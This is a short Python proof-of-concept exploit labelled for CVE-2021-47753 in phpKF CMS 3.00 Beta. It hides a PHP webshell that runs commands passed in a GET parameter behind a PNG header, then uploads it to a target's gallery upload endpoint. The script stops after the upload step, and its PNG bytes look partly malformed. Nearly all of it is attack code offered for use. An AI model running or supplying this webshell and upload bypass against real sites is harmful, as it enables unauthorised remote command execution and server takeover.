#!/usr/bin/env python3
# CVE-2021-47753 PoC - phpKF CMS 3.00 Beta Unauthenticated RCE
# This PoC demonstrates file upload bypass and remote code execution
import requests
import sys
import random
import string
def generate_php_shell():
"""Generate PHP webshell code"""
return b'<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>'
def generate_png_with_shell():
"""Generate PNG file with embedded PHP shell"""
# Minimal valid PNG header (1x1 transparent PNG)
png_header = bytes([
0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, # PNG signature
0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, # IHDR chunk
0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, # width=1, height=1
0x08, 0x06, 0x00, 0x00, 0x00, 0x1F, 0x15, 0xC4, # bit depth, color type, etc
0x89, 0x00, 0x00, 0x00, 0x0A, 0x49, 0x44, 0x41, # IDAT chunk
0x54, 0x78, 0x9C, 0x63, 0x00, 0x01, 0x00, 0x00, # compressed data
0x05, 0x00, 0x01, 0x0D, 0x0A, 0x2D, 0xB4, 0x00, #
0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, # IEND chunk
0x42, 0x60, 0x82
])
# Append PHP shell
return png_header + generate_php_shell()
def exploit(target_url):
"""Exploit the vulnerability"""
print(f"[*] Targeting: {target_url}")
# Step 1: Upload malicious PNG file
upload_url = f"{target_url}/galeri_resim_yukle.php" # Example upload endpoint
files = {
'dosya': ('shell.png', generate_png_with_shell(), 'image/png')
}
print("[*] Step 1: Uploading malicious PNG file...")
try:
response = requests.post(upload_url, files=files, timeout=10)
print(f"[+] Upload response status: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] Upload failed: {e}")
return None
return True
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <target_url>")
sys.exit(1)
target = sys.argv[1].rstrip('/')
exploit(target)